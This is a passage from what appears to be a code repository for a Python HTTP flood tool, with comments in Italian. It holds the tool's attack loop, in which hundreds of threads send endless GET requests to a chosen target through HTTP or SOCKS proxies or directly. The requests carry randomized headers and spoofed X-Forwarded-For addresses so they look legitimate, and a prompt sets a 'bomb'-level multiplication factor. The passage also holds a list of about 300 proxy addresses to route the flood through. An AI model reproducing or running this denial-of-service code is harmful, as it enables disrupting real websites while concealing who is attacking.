in base a cosa si sceglie. 544 | part = part.split("") 545 | part = part[1].split("") 546 | part = part[0].split("") 547 | proxies = "" 548 | for proxy in part: 549 | proxy = proxy.split("") 550 | try: 551 | proxies=proxies + proxy[0] + ":" + proxy[1] + "\n" 552 | except: 553 | pass 554 | out_file = open("proxy.txt","w") 555 | out_file.write("") 556 | out_file.write(proxies) 557 | out_file.close() 558 | print ("Proxies downloaded successfully.") 559 | except: # se succede qualche casino 560 | print ("\nERROR!\n") 561 | proxylist() # se va tutto liscio allora prosegue eseguendo la funzione proxylist() 562 | 563 | def proxylist(): 564 | global proxies 565 | out_file = str(input("Enter the proxylist filename/path (proxy.txt): ")) 566 | if out_file == "": 567 | out_file = "proxy.txt" 568 | proxies = open(out_file).readlines() 569 | numthreads() 570 | 571 | def numthreads(): 572 | global threads 573 | try: 574 | threads = int(input("Insert number of threads (800): ")) 575 | except ValueError: 576 | threads = 800 577 | print ("800 threads selected.\n") 578 | multiplication() 579 | 580 | def multiplication(): 581 | global multiple 582 | try: 583 | multiple = int(input("Insert a number of multiplication for the attack [(1-5=normal)(50=powerful)(100 or more=bomb)]: ")) 584 | except ValueError: 585 | print("You mistyped, try again.\n") 586 | multiplication() 587 | begin() 588 | 589 | def begin(): 590 | choice6 = input("Press 'Enter' to start attack: ") 591 | if choice6 == "": 592 | loop() 593 | elif choice6 == "Enter": #lool 594 | loop() 595 | elif choice6 == "enter": #loool 596 | loop() 597 | else: 598 | exit(0) 599 | 600 | def loop(): 601 | global threads 602 | global acceptall 603 | global connection 604 | global go 605 | global x 606 | 607 | acceptall = [ 608 | "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n", 609 | "Accept-Encoding: gzip, deflate\r\n", 610 | "Accept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n", 611 | "Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Charset: iso-8859-1\r\nAccept-Encoding: gzip\r\n", 612 | "Accept: application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n", 613 | "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\n", 614 | "Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */*\r\nAccept-Language: en-US,en;q=0.5\r\n", 615 | "Accept: text/html, application/xhtml+xml, image/jxr, */*\r\nAccept-Encoding: gzip\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\n", 616 | "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Encoding: gzip\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\n," 617 | "Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\n", 618 | "Accept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\n", 619 | "Accept: text/html, application/xhtml+xml", 620 | "Accept-Language: en-US,en;q=0.5\r\n", 621 | "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\n", 622 | "Accept: text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n", 623 | ] # header accept a caso per far sembrare le richieste più legittime 624 | connection = "Connection: Keep-Alive\r\n" # la keep alive torna sempre utile lol 625 | x = 0 # thanks therunixx, my friend 626 | go = threading.Event() 627 | if choice2 == "y": # se abbiamo scelto la modalita' proxying 628 | if choice3 == "0": # e abbiamo scelto gli HTTP proxy 629 | for x in range(threads): 630 | RequestProxyHTTP(x+1).start() # starta la classe apposita 631 | print ("Thread " + str(x) + " ready!") 632 | go.set() # questo fa avviare i threads appena sono tutti pronti 633 | else: # se abbiamo scelto i socks 634 | for x in range(threads): 635 | RequestSocksHTTP(x+1).start() # starta la classe apposita 636 | print ("Thread " + str(x) + " ready!") 637 | go.set() # questo fa avviare i threads appena sono tutti pronti 638 | else: # altrimenti manda richieste normali non proxate. 639 | for x in range(threads): 640 | RequestDefaultHTTP(x+1).start() # starta la classe apposita 641 | print ("Thread " + str(x) + " ready!") 642 | go.set() # questo fa avviare i threads appena sono tutti pronti 643 | 644 | 645 | class RequestProxyHTTP(threading.Thread): # la classe del multithreading 646 | 647 | def __init__(self, counter): # funzione messa su praticamente solo per il counter dei threads. Il parametro counter della funzione, passa l'x+1 di sopra come variabile counter 648 | threading.Thread.__init__(self) 649 | self.counter = counter 650 | 651 | def run(self): # la funzione che da' le istruzioni ai vari threads 652 | useragent = "User-Agent: " + random.choice(useragents) + "\r\n" # scelta useragent a caso 653 | accept = random.choice(acceptall) # scelta header accept a caso 654 | randomip = str(random.randint(0,255)) + "." + str(random.randint(0,255)) + "." + str(random.randint(0,255)) + "." + str(random.randint(0,255)) 655 | forward = "X-Forwarded-For: " + randomip + "\r\n" # X-Forwarded-For, un header HTTP che permette di incrementare anonimato (vedi google per info) 656 | if choice1 == "1": 657 | ip = random.choice(ips) 658 | get_host = "GET " + ip + " HTTP/1.1\r\nHost: " + ip + "\r\n" 659 | else: 660 | get_host = "GET " + url + " HTTP/1.1\r\nHost: " + url2 + "\r\n" 661 | request = get_host + useragent + accept + forward + connection + "\r\n" # ecco la final request 662 | current = x # per dare l'id al thread 663 | if current < len(proxies): # se l'id del thread si puo' associare ad un proxy, usa quel proxy 664 | proxy = proxies[current].strip().split(':') 665 | else: # altrimenti lo prende a random 666 | proxy = random.choice(proxies).strip().split(":") 667 | go.wait() # aspetta che i threads siano pronti 668 | while True: # ciclo infinito 669 | try: 670 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # ecco il nostro socket 671 | s.connect((str(proxy[0]), int(proxy[1]))) # connessione al proxy 672 | s.send(str.encode(request)) # encode in bytes della richiesta HTTP 673 | print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # print delle richieste 674 | try: # invia altre richieste nello stesso thread 675 | for y in range(multiple): # fattore di moltiplicazione 676 | s.send(str.encode(request)) # encode in bytes della richiesta HTTP 677 | except: # se qualcosa va storto, chiude il socket e il ciclo ricomincia 678 | s.close() 679 | except: 680 | s.close() # se qualcosa va storto, chiude il socket e il ciclo ricomincia 681 | 682 | class RequestSocksHTTP(threading.Thread): # la classe del multithreading 683 | 684 | def __init__(self, counter): # funzione messa su praticamente solo per il counter dei threads. Il parametro counter della funzione, passa l'x+1 di sopra come variabile counter 685 | threading.Thread.__init__(self) 686 | self.counter = counter 687 | 688 | def run(self): # la funzione che da' le istruzioni ai vari threads 689 | useragent = "User-Agent: " + random.choice(useragents) + "\r\n" # scelta proxy a caso 690 | accept = random.choice(acceptall) # scelta accept a caso 691 | if choice1 == "1": 692 | ip = random.choice(ips) 693 | get_host = "GET " + ip + " HTTP/1.1\r\nHost: " + ip + "\r\n" 694 | else: 695 | get_host = "GET " + url + " HTTP/1.1\r\nHost: " + url2 + "\r\n" 696 | request = get_host + useragent + accept + connection + "\r\n" # composizione final request 697 | current = x # per dare l'id al thread 698 | if current < len(proxies): # se l'id del thread si puo' associare ad un proxy, usa quel proxy 699 | proxy = proxies[current].strip().split(':') 700 | else: # altrimenti lo prende a random 701 | proxy = random.choice(proxies).strip().split(":") 702 | go.wait() # aspetta che threads siano pronti 703 | while True: 704 | try: 705 | socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]), True) # comando per proxarci con i socks 706 | s = socks.socksocket() # creazione socket con pysocks 707 | s.connect((str(url2), int(urlport))) # connessione 708 | s.send (str.encode(request)) # invio 709 | print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # print req + counter 710 | try: # invia altre richieste nello stesso thread 711 | for y in range(multiple): # fattore di moltiplicazione 712 | s.send(str.encode(request)) # encode in bytes della richiesta HTTP 713 | except: # se qualcosa va storto, chiude il socket e il ciclo ricomincia 714 | s.close() 715 | except: # se qualcosa va storto questo except chiude il socket e si collega al try sotto 716 | s.close() # chiude socket 717 | try: # il try prova a vedere se l'errore e' causato dalla tipologia di socks errata, infatti prova con SOCKS4 718 | socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, str(proxy[0]), int(proxy[1]), True) # prova con SOCKS4 719 | s = socks.socksocket() # creazione nuovo socket 720 | s.connect((str(url2), int(urlport))) # connessione 721 | s.send (str.encode(request)) # invio 722 | print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # print req + counter 723 | try: # invia altre richieste nello stesso thread 724 | for y in range(multiple): # fattore di moltiplicazione 725 | s.send(str.encode(request)) # encode in bytes della richiesta HTTP 726 | except: # se qualcosa va storto, chiude il socket e il ciclo ricomincia 727 | s.close() 728 | except: 729 | print ("Sock down. Retrying request. @", self.counter) 730 | s.close() # se nemmeno con quel try si e' riuscito a inviare niente, allora il sock e' down e chiude il socket. 731 | 732 | class RequestDefaultHTTP(threading.Thread): # la classe del multithreading 733 | 734 | def __init__(self, counter): # funzione messa su praticamente solo per il counter dei threads. Il parametro counter della funzione, passa l'x+1 di sopra come variabile counter 735 | threading.Thread.__init__(self) 736 | self.counter = counter 737 | 738 | def run(self): # la funzione che da' le istruzioni ai vari threads 739 | useragent = "User-Agent: " + random.choice(useragents) + "\r\n" # useragent a caso 740 | accept = random.choice(acceptall) # accept a caso 741 | if choice1 == "1": 742 | ip = random.choice(ips) 743 | get_host = "GET " + ip + " HTTP/1.1\r\nHost: " + ip + "\r\n" 744 | else: 745 | get_host = "GET " + url + " HTTP/1.1\r\nHost: " + url2 + "\r\n" 746 | request = get_host + useragent + accept + connection + "\r\n" # composizione final request 747 | go.wait() # aspetta che i threads siano pronti 748 | while True: 749 | try: 750 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # creazione socket 751 | s.connect((str(url2), int(urlport))) # connessione 752 | s.send (str.encode(request)) # invio 753 | print ("Request sent! @", self.counter) # print req + counter 754 | try: # invia altre richieste nello stesso thread 755 | for y in range(multiple): # fattore di moltiplicazione 756 | s.send(str.encode(request)) # encode in bytes della richiesta HTTP 757 | except: # se qualcosa va storto, chiude il socket e il ciclo ricomincia 758 | s.close() 759 | except: # se qualcosa va storto 760 | s.close() # chiude socket e ricomincia 761 | 762 | 763 | if __name__ == '__main__': 764 | starturl() -------------------------------------------------------------------------------- /img: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /proxy.txt: -------------------------------------------------------------------------------- 1 | 125.26.99.223:36506 2 | 157.230.103.189:46286 3 | 193.110.115.220:3128 4 | 93.117.72.27:43631 5 | 14.99.235.174:80 6 | 208.80.28.208:8080 7 | 14.99.235.168:80 8 | 5.189.133.231:80 9 | 165.22.64.68:46547 10 | 104.248.90.212:80 11 | 118.27.28.45:3128 12 | 212.191.132.210:8080 13 | 64.225.65.250:80 14 | 195.146.50.22:3128 15 | 46.227.133.42:8080 16 | 37.79.254.152:3128 17 | 51.81.113.246:80 18 | 88.198.24.108:8080 19 | 176.9.75.42:8080 20 | 159.203.61.169:3128 21 | 176.9.119.170:8080 22 | 80.48.119.28:8080 23 | 139.5.71.70:23500 24 | 193.183.217.67:8118 25 | 110.44.124.220:55443 26 | 124.41.211.211:43979 27 | 195.25.19.4:8080 28 | 27.109.116.119:23500 29 | 41.194.37.106:45381 30 | 31.14.49.1:8080 31 | 79.164.171.32:36512 32 | 1.179.183.73:50178 33 | 52.69.19.32:80 34 | 78.111.97.182:3142 35 | 93.175.203.124:56593 36 | 103.121.58.235:3128 37 | 179.49.57.150:6666 38 | 186.229.25.18:8080 39 | 45.8.116.127:8080 40 | 175.100.103.170:55443 41 | 103.11.106.69:8181 42 | 14.63.227.88:80 43 | 117.120.58.129:41132 44 | 118.27.1.112:3128 45 | 91.135.148.198:51498 46 | 14.162.145.116:53475 47 | 37.120.192.154:8080 48 | 81.18.34.98:42535 49 | 1.20.103.196:42792 50 | 171.100.9.126:49163 51 | 46.150.76.25:37354 52 | 46.227.133.43:8080 53 | 107.1.80.135:80 54 | 49.0.82.190:8080 55 | 175.141.69.200:80 56 | 195.158.3.198:3128 57 | 188.166.52.211:80 58 | 85.47.31.179:3128 59 | 182.16.181.20:80 60 | 159.65.171.69:80 61 | 5.165.47.119:53281 62 | 136.232.209.70:47423 63 | 182.253.115.93:8080 64 | 14.99.235.171:80 65 | 104.248.37.207:80 66 | 51.75.147.35:3128 67 | 68.94.189.60:80 68 | 154.16.63.16:3128 69 | 161.35.146.222:80 70 | 114.5.35.98:38554 71 | 103.29.167.72:3888 72 | 2.139.232.101:3128 73 | 187.111.176.129:8080 74 | 188.168.75.254:56899 75 | 110.76.128.53:42670 76 | 197.220.109.222:80 77 | 119.2.54.204:44495 78 | 111.92.240.134:30598 79 | 180.250.12.10:80 80 | 181.30.60.147:8080 81 | 179.127.13.148:3128 82 | 139.59.124.158:8118 83 | 46.4.96.137:3128 84 | 35.235.115.241:80 85 | 60.246.7.4:8080 86 | 88.198.50.103:8080 87 | 183.88.224.206:8080 88 | 181.30.60.148:8080 89 | 41.65.174.66:8080 90 | 146.120.168.98:9989 91 | 1.20.100.227:57396 92 | 103.156.225.18:8080 93 | 103.152.5.70:8080 94 | 139.162.78.109:8080 95 | 142.93.223.219:8080 96 | 213.207.37.214:53281 97 | 103.215.177.231:80 98 | 34.64.169.221:80 99 | 103.57.70.231:39143 100 | 1.10.188.78:45208 101 | 1.224.161.57:8081 102 | 34.207.212.90:80 103 | 104.248.48.233:31583 104 | 178.128.13.5:8080 105 | 3.17.14.120:3128 106 | 159.203.1.75:8080 107 | 185.110.238.20:8080 108 | 52.53.155.82:3128 109 | 13.52.79.25:3128 110 | 36.73.181.24:80 111 | 124.122.114.254:8080 112 | 83.103.193.74:13192 113 | 213.136.88.55:80 114 | 3.96.101.246:80 115 | 105.27.116.46:30032 116 | 124.158.88.56:54555 117 | 124.41.211.188:38656 118 | 213.230.69.33:8080 119 | 188.168.56.82:55443 120 | 220.149.25.33:80 121 | 192.109.165.239:80 122 | 154.72.187.90:55443 123 | 185.65.80.39:80 124 | 89.187.177.101:80 125 | 78.141.212.200:8888 126 | 202.148.4.92:8080 127 | 43.245.202.15:57396 128 | 115.75.1.184:8118 129 | 103.231.218.126:53281 130 | 188.0.138.11:8080 131 | 77.238.79.111:8080 132 | 51.81.82.175:80 133 | 160.119.128.102:21213 134 | 123.253.36.99:8080 135 | 2.144.230.229:8080 136 | 105.247.67.115:8080 137 | 212.129.34.163:3128 138 | 103.106.219.121:8080 139 | 119.206.242.196:80 140 | 195.98.246.112:80 141 | 103.216.82.22:6666 142 | 62.106.122.90:38678 143 | 13.92.119.142:80 144 | 185.33.37.188:3128 145 | 103.78.254.78:80 146 | 176.113.157.149:42850 147 | 89.187.177.105:80 148 | 118.27.17.151:3128 149 | 203.202.245.62:80 150 | 197.242.206.64:41948 151 | 136.243.254.196:80 152 | 139.255.199.242:80 153 | 78.47.16.54:80 154 | 46.241.120.230:32412 155 | 181.198.97.241:30072 156 | 213.6.101.174:23500 157 | 64.4.94.129:80 158 | 197.210.217.66:34808 159 | 110.74.222.159:40348 160 | 111.118.135.132:56627 161 | 175.141.69.203:80 162 | 43.224.8.116:6666 163 | 185.131.62.250:53281 164 | 178.172.208.244:32231 165 | 103.76.190.193:49939 166 | 143.255.52.67:31158 167 | 103.83.116.202:55443 168 | 173.212.202.65:80 169 | 117.197.102.198:80 170 | 185.156.172.122:3128 171 | 212.95.180.50:53281 172 | 218.147.194.10:80 173 | 41.221.158.186:31932 174 | 139.5.16.174:59933 175 | 103.134.254.9:80 176 | 198.50.163.192:3129 177 | 36.94.37.66:8080 178 | 85.175.227.3:7014 179 | 96.9.77.71:8080 180 | 45.64.179.210:53281 181 | 192.109.165.35:80 182 | 217.219.31.210:38073 183 | 113.160.235.49:8080 184 | 191.97.0.101:999 185 | 109.92.131.90:6666 186 | 142.44.173.241:3128 187 | 203.130.204.130:8080 188 | 202.138.127.66:80 189 | 183.89.153.18:8080 190 | 124.121.18.234:8080 191 | 180.246.5.242:8080 192 | 79.104.25.218:8080 193 | 195.7.9.141:8080 194 | 138.97.200.84:8080 195 | 46.99.183.154:8080 196 | 124.107.185.189:3128 197 | 158.255.215.44:1328 198 | 84.53.247.204:53281 199 | 41.65.201.174:5555 200 | 202.142.184.166:53731 201 | 202.131.234.142:39330 202 | 212.115.232.79:31280 203 | 85.172.39.174:47326 204 | 139.59.122.42:8118 205 | 103.36.11.240:14571 206 | 122.58.118.224:8080 207 | 195.78.93.28:3128 208 | 104.128.228.69:8118 209 | 178.128.125.16:41989 210 | 88.248.23.216:36426 211 | 37.26.136.181:52271 212 | 180.183.115.179:3128 213 | 218.147.194.39:80 214 | 58.69.161.161:8080 215 | 77.93.42.134:47803 216 | 31.43.181.189:8080 217 | 47.75.90.57:80 218 | 5.253.26.229:80 219 | 27.50.18.42:23500 220 | 167.179.98.15:8080 221 | 201.217.49.2:80 222 | 125.141.117.38:80 223 | 41.79.33.170:8080 224 | 134.157.93.238:80 225 | 5.202.192.146:8080 226 | 45.7.205.103:39750 227 | 103.52.171.165:8080 228 | 188.120.235.217:8118 229 | 3.6.251.241:80 230 | 162.243.244.206:80 231 | 109.238.222.5:40387 232 | 187.45.123.137:36559 233 | 182.253.173.93:8080 234 | 158.101.19.129:80 235 | 103.209.65.12:6666 236 | 178.198.228.58:808 237 | 139.99.102.114:80 238 | 41.87.64.210:8080 239 | 89.187.177.95:80 240 | 182.23.79.162:39902 241 | 103.241.227.107:6666 242 | 131.196.143.41:33729 243 | 188.133.165.206:56145 244 | 178.47.139.151:35102 245 | 77.233.10.214:8080 246 | 103.46.234.193:83 247 | 41.222.159.186:8080 248 | 202.131.113.37:3128 249 | 45.251.228.217:8080 250 | 54.179.93.69:80 251 | 201.65.226.82:3128 252 | 200.68.62.10:8080 253 | 186.159.5.160:80 254 | 188.133.192.164:8080 255 | 101.255.127.186:8080 256 | 41.72.196.49:8080 257 | 179.43.96.178:8080 258 | 161.97.78.92:80 259 | 150.109.32.166:80 260 | 14.161.47.64:8085 261 | 103.24.107.75:8089 262 | 41.87.73.182:8080 263 | 85.221.247.237:8080 264 | 168.228.195.3:999 265 | 51.75.147.44:3128 266 | 95.213.144.199:80 267 | 36.89.8.235:8080 268 | 12.69.91.226:80 269 | 81.95.230.211:3128 270 | 177.74.67.250:8080 271 | 193.149.225.228:80 272 | 95.79.55.196:53281 273 | 18.130.128.152:80 274 | 192.109.165.108:80 275 | 108.30.209.198:80 276 | 200.198.220.159:80 277 | 196.2.14.250:45521 278 | 103.157.116.199:8080 279 | 191.101.39.154:80 280 | 191.101.39.63:80 281 | 191.101.39.105:80 282 | 191.101.39.237:80 283 | 192.117.146.110:80 284 | 200.174.158.26:34112 285 | 191.101.39.135:80 286 | 54.212.157.49:80 287 | 192.109.165.41:80 288 | 192.109.165.124:80 289 | 191.101.39.238:80 290 | 191.101.39.54:80 291 | 183.88.110.250:8080 292 | 118.174.232.92:45759 293 | 152.67.24.187:80 294 | 89.187.177.97:80 295 | 89.187.177.103:80 296 | 167.172.180.46:42134 297 | 51.159.24.172:3162 298 | 89.187.177.86:80 299 | 161.35.97.206:80 300 | 89.187.177.93:80 -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | socks 2 | sockets 3 | urllib3 4 | git 5 | python 6 | python2 7 | requests 8 | threading --------------------------------------------------------------------------------